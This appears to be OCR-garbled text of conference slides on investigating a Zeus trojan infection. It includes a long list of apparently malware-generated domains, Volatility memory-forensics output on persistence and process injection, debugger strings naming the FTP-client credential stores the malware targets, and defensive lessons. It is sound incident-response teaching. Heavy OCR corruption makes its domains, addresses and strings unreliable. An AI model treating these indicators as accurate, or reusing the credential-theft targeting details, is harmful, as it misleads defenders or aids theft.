ucpjhecyzivdyusswemnfpiu.net
ucpjhecyzivdyusswemnfpiu.net
ucgszttszdxpfkfhewsnjuowg.info
ucgszttszdxpfkfhewsnjuowg.info
uijlbazppbgpwmbinpwcjr.biz
uijlbazppbgpwmbinpwcjr.biz
ukciovjvdyvswostjfggdypblve.ru
ukciovjvdyvswostjfggdypblvc.ru
ukttghgoairgginrggeatvzdid.info
ukttighgoairgginrggeatvzdid.info
ulxwgypirskxgizphxdi.info
ulxwgypirskxgizphxdi.info

Iunzfiibwrcce]bgequklnvngpnz.biz

unzfiibwrccejbgekrgklnvggoypoz.biz
uochetwfemnnrgmphknfecuhydpjh.biz
uchetwfemnnrgmphknfecuhydpjh.biz
uotoeusgfakjirirprwpnvgv.info
uctoeusgfakjirirprwpnvgy.info
uprfmfigwdelztonzcelramauphi.net
uprfmfigwdelztonzcelramauphi.net
usgmswuogytijgeltirsojgiij.com
usgmswuogytijgeltirsojgiij.com
uspailfow]jreytducetzpjz.com

xsusqxfepjfirsotjrojpztsg.ru
xsxsqxfepjfirsotjrojpztsg.ru
xtotmzjrkvijdpgmxshizdwsemca.org
xtotmzjrkvijdpgmxshizdwsemca.org
xttsxgtgfixcvwrwvoyekx.com
xttsxgtgfixcvwxwvoyekx.com
xtwnrgweufmojrgdinamyhzpzlxjr.org
xtwnrgweufmojrgdinamyhzpzlxjr.org
xvchyxgumrkfhgchiptosgeg.org
xvchyxgumrkfhgchiptosggg.org
xwauiftgnzsolfxxofymvpznaeai.com
xwauiftignzsolfxxofymvpznaeai.com
xwydggfepvzxrooffmdrkzpemgwiu.info
xwydggfepvzxrooffmdrkzpemgwfu.info
xxbmvkmvgglbdeibhygershmnz.org
xxbmvkmvgglbdeibhygershmnz.org

I]xx5pvlrcqmfm‘thexceemﬁwuf.ru

xxspvlrcgmfrwyxhexceemswof.ru
wxtfydinggnfukjrgstgdupvugyp.com
xxtfydinggnfukjrgstgdupvugyp.com
xzmfginzcazhamggkrgyzxgtgk.info
xzmfginzcazhamggkrgyzxgtgk.info
xznveutwggyrkgsmbxwbpegga.com
xznveutwggyrkgsmbxwbpcgga.com
ydgewgkrygigchmgztnreaiwygi.com
ydgewgkrygigchmgztnreaiwygi.com
ydonkvaydrkusduobggylyzlg.ru
ydonkvaydrkusduobggylyzlg.ru




Malware Advanced Analysis

» Memory Analysis with Volatility

® RAM snapshot retrieved from live system (verified by watching DNS streams)

® First: Find malware ‘persistence mechanism’ — how is binary launching!?
O Best:Windows Registry ‘autorun’ locations
O Volatility: Registry hives in RAM snapshot, mapped by offset addresses
O Locate “HKCU” address in memory (Oxe89c008)
O Call the specific ‘autorun’ key: “Software\Microsoft\Windows\CurrentVersion\run”

O Something interesting here: "C:\Documents and Settings\-\Application Data\Yhepas\epeb.exe"

C:sDocuments and Settingss~—Desktop“~ZEUSPC~infected“~DD>v printkey —f ram.dd —o Bxel8?cBBA8 -K SoftwaresMicrosoft Windows“(
Jolatile Systems Uolatility Framework 2.2
Legend: <5» = Stahle CU>» = Uolatile

Registry: User Specified

Key name: Run (82

Laszt updated: 2813-82-15 16:24:497
Subkeys:

Jalues:

REG_SZ CTFMON_ERE = {8 CoUWINDOUWSssystenmd2hctfmpeneans
REG_SZ +L845F5C5E-213B—AD42—-422B-YE465D525D54% - (8> "GC:“Documents and Settings~—Application DatasYhepas“epeh.exe"
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Malware Advanced Analysis

» Volatility “file scan” shows ‘epeb.exe’ had been running, but very quickly exited

offset(P) Name PID FPID PDE Time created Time exited
0x063d13e0 wscntfy. exe Q00 1076 Ox0d940280 2013-02-18 16:13:49

Ox064f3dal services.exe 684 640 0Ox0d940080 2013-02-18 16:13:37

0x0650ca50 epeb.exe 1704 1588 0Ox0d940260 2013-02-18 16:13:39 2013-02-18 16:13:39
0x06515dal ctfmon. exe 1696 1588 Ox0d940240 2013-02-18 16:12:39

0x065197e8 svchost. exe Qg0 684 0x0d940100 2013-02-18 16:13:38

Ox0651c9f8 spoolsv.exe 1564 684 0x0d9401c0 2013-02-18 16:13:38

ittt i SN = SRR S S

® However malware is obviously still running (DNS)

® Remainder of processes seem valid (correct process names & filepaths), also all files checked
against VirusTotal

® Most likely seeing advanced technique for “process injection”
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Malware Advanced Analysis

» Process injection:

® Check specific process handles for running PID’s: Adobe Reader Launcher, PID 1688

1

2 python vol.py —-profile=WinXP3P3x56 -f RAM.dd handles --pid=1685 > 00.pid.16588.dump.txt

3

4 Wolatile 3y=stems Volatility Frasmework 2.2

5

&

v Offset (V) Fid Handle hocess Type Details

B ___________________________________________________________

9 OxelO026e0 1683 Ox4 O0x£0003 EeyedEvent CritlecOoutOfMemor vEvent

10  Oxeldfdks0 1688 0= 0x3 Directory EnownDlls

11 0Ox8630b418 1688 Oxe Ox10002Z0 File YDeviceh HarddiskVolumelh Documents and Settingsh -
12 0OxBe2fel7s 1688 Ox10 Ox100020 File YDevice' HarddiskVo lume 1% WINDOWSY WinZx34 x86 Microsoft.VCS0.CH
13 OxeldedOs0 1688 Ox14 O0xf000f Directory Windows

14 0Oxel895330 1688 Ox12 Ox21f0001 Port

15 Oxele96acs 1655 Oxlc OxfO001f Zection

e Ox562Lf£f4bo 1655 OxzZ0 0OxZ21f0003 Ewent

17 0Ox56335190 1655 Oxz4 Oxf037f Window3tation WinZtcal

153 0Ox86350=08 165858 Oxz28 Oxf01ff Desktop Lefault

19  0Ox86335190 165858 OxzZc Ox£f037f Windowitation WinZtcal

20 0Oxel9sz4ds 1688 Ox30 Ox20£003f Eey MACHINE

21 Oxele7cadd 1688 Ox34 0x2000f Directory BaseNamedlhjects

22 0OxB649c460 1688 Ox38 O0x1£0003 Zemaphore zhell.{Ad48F1A32-A340-11D1-ECEE-O00AOCOO312E1}

23  OxBe2fffLs 1688 Ox3c Ox1£f0003 Ewent

24  DxBeZfocOl 1688 Ox40 Ox10002Z0 File YDevicel HarddiskVolumelh WINDOWS, WinSxS x586 Microsoft. Windowd
25 0Oxel56458958 1688 Ox44 Qx20£003f Eey T3ERYS-1-5-21-58542453958-1580436667-1060254295-1003
26 0Ox5624edas 1655 Ox45 O0x1f03£ff Thread TID 17Z4 PID 1655

27 0Ox56372dal 1655 Oxdc O0x1£0001 Mutant {97213600-4E65-BE3C-E369-B06DAC1I0957F}

25 0Ox86255320 165858 Ox50 O0x1£0003 Ewvent

25  0Ox8630cas0 1655 Ox54 Ox1f0fff Process epeb.exe (1704)

200 Ox864479c0 1688 0x53 0x100003 Semaphore
| SN E =1 A= . k= = M - 4= A e S [N [N 1 = =N TR =
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Malware Advanced Analysis

» Demo!

» Game Over?

® Very difficult to find once resident
O No easily visible traits: no process ID, no TaskManager, even SysInternals
O Although, ‘autoruns’ does show us

O Excellent visibility with memory forensics: startup key, process behaviours

® Network analysis certainly best indicator

» What next?

® Zeus removal from infected systems?
O Disable auto-run key
O Delete binary, scan and re-scan

O Or paranoid-mode! Trojan malware cannot be trusted.. Time for a fresh build

» Prevention is the only cure!

Copyright © 2012 Murex S.A.S. All rights reserved



Malware Analysis: OSINT

» Slightly different approach: File properties, comments, sloppy (or, planted?) code

- - p——m e — gy p—a
riood7aac JHE SHORT mtdll. 70947904
o4 7asE 2 CAFPE247C FUSH ntdll.7C2947BCAH ASCII "This-*PrivatelsedString t= HULL™
riood 793 E-El 22AZ2AEEER PUSH 222
rCo47a9s 2 ERAYE247C FUSH ntdll.7C947EBERA ASCII "dis~nt-base~ntdll~sxsisal.cpp™
rCed a0 E-El HEFC94 7 FPUSH ntdll.7C947CER ASCII "Internal error check failed™
rCe473IR2 JMF SHORT ntdll.7C247942
Fod 7 9H4 | BB4F 23 MO ECH, DWORD FTE DS: CEDI+Z23]
SubsystemVersion.........: 4.0
InitializedDataSize......: 160768
ImageVersion.ecascscssases i O70
ProductName...cveeeeeeees: fallTheirSimple
FileVersionNumber........ o % A 4 )
UninictializedDataSize....: 0 : ASCIT "d:\nt\basexntdll\sxsisol.cpp”
LanguageCode....cccveenes : English (U.S.) ggg%{ "{?:erngé errorogheck f?{ [g?'l' o PR i $br. B St
g . g ts=>Privatelynamical ly ocat tring == HY 15— tvateDynamical ly o
FileFlagsMask...... essvess Ox0000 RSCIT "drntbasesntdllnsxs 2ol cpp™
FullVersioNecccecscccscess 2.7.729.93 ASCII "Internal error check failed” y y
CharacterSet.............: Windows, Latin ASCIT rosTre TTUSTEPTER | locatedString—>Hax inunLength®
= s Z RSCII d'\nt\base\ntdll\sxSLSOI cop
LinkerVersion...cccceeaees : 7.1 RSCIT L= oh e~ :
OriginalFilename......... : 2.7.729.93.exe 28%%{ :L?tzzzsgézszgg??(;:§tggl?cpgyLL”
MIMETYP®. cvessassssssnssss application/octet RSCII "Internal error check fai'lcd"
SUDSYSTeM..cccesseeessss.: Windows GUI 22%%} ”Lhis-zgrivateg?fgStringl?= NULL™
= 2 < "di\nt\base\nt susisol.opp”
FileVersioN.cececececae sesedn Beodill&Se IS RSCII "Intqrnal ervror check failed”
TimeStamp....cccccceenes : 2012:11:02 10:49:4RASCII "sxsisol_SearchRctCtxForDl IName™ .
FileType —Win3T EXE RASCII "([¥x.Zx) SKS: Zs - Relative redirection plus env var expansion.@”
: G LR ol e PRI L - RASCII "t(askd.Flags & RCTIVATION_CONTEXT_SECTION_KEYEO_DATA_FLAG_FOUND_IN_SYSTEM_DEFARULT)"
PEType..... vevensseeeeress PHOs 285%} T?:\nt\b?se\ntdll;su:i?olicgg"
DAt *Internal error chec atle
INCRrnRINEMg « ¢ dsiies sows sy RSCII "Status t= STATUS_NOT_FOUND”
ProductVersion....cevesess 2 2 ’20 93 28%%{ ”?-\nt\b?se\ntdll;sustsol‘ggq
- "Internal error check fai "
:1%eDeacr1pvlon ........... | tallTheL-shoaldl RSCIT "Status t= STATUS.SXS SECTION_NOT FOUND"™
OSVersion..ceecccacccsnsss : 4.0 RSCII :d:\nt\base\ntd[l\sxsgso[.cpg
B AQE i e s e s HAB92 33%60 Internal error check failed
LegalCopyrighCeceseecces .: Copyright 2011 JUNICODE "Aui\"
q =+ T v UNICODE ""C:\WINDOWS"
fach;nerjpe ............... Intel 386 o: late UNICOOE "~mu {\Fal [Back "
CompanyName. ...c.cceeveeest [ta;lxhelr, inc. | " i
Codes tesescesassssscesl 306176 - i
Fo R g RSCII "LdrRelocatelmagellithBilas™
1leSubtype....coeaniananes 0 RSCII "Zs: Zs() failed BxZ1x@%s: OldBase 1 Zp@%s: NewBase 1 Zp@%s: Diff :
ProductVersionNumber.....: 2.7.729.93 —
EntryPoint.ccccacssnesseas 0x4211

CbjectFileType...........: Executable application
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Malware Analysis: OSINT

» Public reference to same strings

GOUSI@ ASCII "d:/nt/base/ntdll/sxsisol.cpp”

Web Images More - Search tools

3 results (0.07 seconds)

Diamondo25 - Pastebin.com

pastebin.com/bifjLBGB
Sep 9, 2010 - 7C947AG5 PUSH 7C947B56 ASCIl "d:\ntibase\ntdll\sxsisol.cpp”.

FC947ABA PUSH 7C947B76 ASCI "Internal error check failed". 7C947ATE ...

[=KBh] B AF 22 S IF -

bbs pediy.com » #1535 it » RENA)EE]
Oct 6, 2007 — 7C9 push ASCIl "5X5: Assembly storage map probing root %wYZ for ...
7C9 push ASCI "5X5: Found good storage root for %wZ at index %Iu” LF ...

www.52pajie.cn » i1z
Aug 20, 2012 - I TEIHEA A EIASCIBL EAHERS EEFEwIz[ LCG] [ LSG] ...
FCO67TAGS push ntdll. 7C967B56 d:\ntibase\ntdll\sxsisol.cpp. 7C967AGA ...
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Malware Analysis: OSINT

» PasteBin with very similar code, plus some comments and explanations!

PASTEBIN |

1 paste tool since 2002

PASTEBIN

JCRATASE PUSH TCRTRLE ASCIE *This te NULL®
STemenew pans rencang pastes TCOATABS  PUSH 7CS47856 ASCII "g1\nt\bsse\ntdll\sxsizol.cop”
TCS4TAGA  PUSH 70947876 ASCIT "Internal error checx falled™
Diamondo25 TCPSTATE  PUSH 70047096 ASCIT *(This->PeivateDynasicollyallocetedSteing ==
BY SUEST ON SEPSTH, 201C SYNTAX: NONE | SIZE 10991 KB | HITS: 316 | EXPIRES: NEVER NULL) || (This->PrivatedynamicallyAllocatedString->Buffer <« NULL)"
DOWNLOAD | BAW | EMBED | REPORT ABUSE TCHSTABE  PUSH TCM7CHE ASCII “g:\nt\Dase\ntall\sxsisol.cpp”
BLTABD PusH FCaTC26 ASCIE “Internal error check fallec*
TOSATAAL PuUsSH 70847082 ASCII "rUS.Length «»
This-oPrivatebrealiocatedString  Maxisuslengin®
JOSATAAD  PUSH J7C87Cm2 ASCIT "gi\nt\base\ntdll\sxsisol.cop”
TCS4TABE  PUSH TOMTICA2 ASCLII “Internal error check failec*
TCRATARY PusSH TCRTCRE ASCIE “This-oPrivatelsecsiring != MULL"
TOMTACT  PUSH 7CS4T7CDE ASCII "g:1\nt\base\ntdll\sxsisol.cpp”
JCS4TAC PUSH TC94T7CFE ASCII “Internal error check failed”
Text strings referenced in ntdll TCOATADE  PUSH 707014 ASCIT “This->PriveteUsecsitring 1s NULL"
TCOLTAER  PUSH 7CS4703 & "drant) . \sxsisol.cop”
Address Command Comments C B PUSH 7CS4703A SCIT "d:\nt\base\ntdllisxsisol.cp
TCOSTAED PUSH 70947054 ASCII “Internal error check Fallea”
7CIOFCSP MOV ONORD PTR 05:[ECK], 7CH0FDFC A5L1T TAckx JCO4T008  PUSH FCOME003 ASCIE *sxsisol_SearchActCtxlorDllName”
7C913220 PUSH 7C91325C ASCII "RtllockHeap® 7CS470E3  FUSH TCS480A2 ASCII “[%x.%x] SXS: X5 - Relative redirectiom plus
7C913288 PUSH 7C9132C4 ASCII "RtlUnlockHeap"
e e e eane e o
156 Bs] Leg H.:-ll: 2aEy Windows Fal. ... L,DntE'nt-LE'ngEh:.LDcat ton:.BET <5 H oty
SS%EES;S TTE/I.EI..Hnst' Ts ﬂcaept'n*/* ﬂﬁcept—EncndLng' LdentLty. *'q—El SS}%EEEE SSSSSSSB
«aConnection: close..User— gent. czillars tib
BE1SEITE| By Windows 98] ....en...s R T A b e A SEbESREY Mmere fn) RIS GO el lonsetisnes
et e e O e e EetHatweSystemInFn kernel32.d1 L. [shlow AR12EFaE| HR1SEEES
FAR15A5F 2| A4Process. Sof tware~Far~Flugins~FTP~Hosts. Sof tware~Far2~Plugins~F 61 EFGd| SRPRERdT
AE1Ee428| TP~Hosts. Software~Far Manager~Plugins~FTP~Hosts. Sof tware~Far~Sauv — | emizEFee| Bo1zEE0a
HE1EE47E| edDialogHistory~FTPHost . Sof tware~Far2~SavedlialogHistory~FTPHos ¢ AA12EFGC| BEisEoeo| BSCIT "Acts '
Sgiggggg .Snﬂtwarﬁ‘}Far Han?ger‘}ﬁguega%EEEEH%stDryITETPHEEtiPaﬁswnrg.?nstHa AA17EF1G| mommazaal s
me.dser.Line.wox_ftp.ini.™ .Insta ir.FtpIniMame.Sof tware
HE1EEESE| ~Ghisler~Windows Commander.Sof twarethisler~Total Commander.-Ips SS%%EF%; gg?égggg RETURM %o ntdlLl.7CR1S33E from ntdll.bsearch
BE1EEETE|witch. Sites~. ~Ipswitch~WS_FTP.~win. ini..ini.WS_FTP.OIR.DEFDIR.CU GE1ZEF1C| BRlEAZER
HE1EEEEE| TEFTP.RCHistory . Sof tware™~Globa lSCAPE~CuteF TP & Home“RCToolbar.So GE12EFoE| SoEREDED
BE15EEFE| ftware~Globa lSCAPE~CuteFTP & Professional~RACToolbar. Sof tware~Glo GA17EF=4| BR16EZED
HE15553E8| balSCAPECuteFTP ¥ HomewBCToo lbar. Sof tware~Globa LSCAPE-CuteF TR 7 A1 2EF2E| BR1ERZES
BEIEEETE| Professional~EBCToolbar. Sof tware~GlobalSCAPE~CuteFTP 2 Home-QCTo BE12EF2C| BB1ZEFDD
BE1EEEEE | olbar. Sof tware~Globa | SCAPE~CuteFTP 2 Professional~QACToolbar.~Glo AA12EF2E| BE1Z1PA4|ASCIT "S=Hd, '
BE1EEE5F 2| bal SCAPE~CuteF TR, ~Globa LSCAPE~CuteFTP Pro.~GlobalSCAPE~CuteFTP L GE12EF34| FRBESTFC =
SS%EE;;E ltE'E?HtEF;E ;E-r;.datl?nFEwaﬁg\FgashFﬁP?S Snﬁwgre‘h\FéashFKTdSnFtE GA17EFaE| BRp@REEE
are~Flas "~ nstal lerDathPath.pat nsta at ataFolder. ™ .
£01567ES | ites. dat. O ok, dat . “Hiztory . dat. ~F [ashFRP~3. “F LashFRP~4. “Fi 122 | ||| peREar| Hanli 90 mEcllloroetierE wiem el bolss Lbeilind
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Malware Analysis: OSINT

» Similar code on Chinese forum, again with some interesting comments on code and behaviours

O45AHk

w FSEziE > WFEEN > FRBEEES
Ll [KBh] SRR E

KSSD kanxue.com %S Bk

() EEE: - CRB SRR B SR AR e A EEEaNtA
A0SR o S e 8 S O BE R AR BREAH LS

D & zzo=

I

heye 1 [0 2007-10-08, 16:13:27 |0 [RED] SHRERHEARSE
s UHSREEGT ntdl . text
* S i RO MRER
TER=E TE3 retn  GIJNE CPV E3E)
o TCY  add UNICODE “USERSPROFILE=C:‘Documents and Settingsiall Users”
SEALEHEE: Sep 2007 8 movw
Eﬁ = TCS push  ASCIL “RtlLockHesp”
m‘§ o202 Fx TCQ push  ASCIT “RtlUnloclkHeap”
A 0 . TC9 push  UNICODE “5-1-*
%gg%ﬁ% g TC9 push  UNICODE ““REGISTEYAUSER:”
TCY  mow UFICODE “Kernel3?. 4117

TCY  mow UNICODE “. d11”

TCH  mow ASCIT “Refcount”

TCY  mow ASCIT “Derefcount”

TCY  mow ASCIT “Refoount”

T mow ASCIT "Derefeount”

TCY9 push  UNICODE ““Eegistry'Machine\Software‘Microzoft'Windews FT\Curr

W "
o b

FLICONE

Copyright © 2012 Murex S.A.S. All rights reserved

This 1= NMULL
d:\nt\base\ntdl\sxsisol.cpp
Internal error check faied

is-=Pri ' tedString == NULL) || (This-
d:\nt\base\ntdl\sxsisol.cpp

Internal error check faied

rus.Length <= This-=PrivatePreallocatedString-=MaximumLg
d:\nt\base'\ntdl\sxsisol.cpp

Internal error check failed

This-=PrivateUsedString != NULL

d:\nt\base\ntdl\sxsisol.cpp

Internal error check failed

This-=PrivateUsedString != NULL




Malware Analysis: OSINT

» Another great source... Zeus User Guide!
® Zeus Source Code and Guide leaked in May 201 |
® Describes in detail the code, configurations and operations

® By November 2012 some is obsolete — new code is bigger and better/worse..
» Various online resources, studies and analysis

» Dr.Ken Baylor: Understanding Bot-Nets by Building One
® BlackHat 2012 Presentation

® Full video on www.youtube.com
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Response

» Lessons learned

® Emails were dispersed and accurate. Most likely personal device with malware?
® Technical security failures: anti-spam, anti-virus, logs & alerts, firewalls, etc.
® People were best defence!

® Expect more, expect worse

» Technical Triage
® Check, block & alert for domain list, IP, file signatures, CRYPTEDO (firewalls, IDS, proxies)
® Check workstations, users (remote?), network, proxy-access
® DNS queries: known sites but also IDS rule for ‘unusual frequency of unknown hosts’

® SIEM — intelligent correlations across sites — multiple proxies, firewalls, anti-virus

» Forget anti-virus, forget the perimeter...

O Endpoint protection: DEP, HIPS, patching and secure builds, non-admin rights, GPO

» Best defence is situated between the chair and the keyboard
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Thanks!

- rccdub@gmail.com / rcostelloe@murex.com

- www.rcostelloe.net
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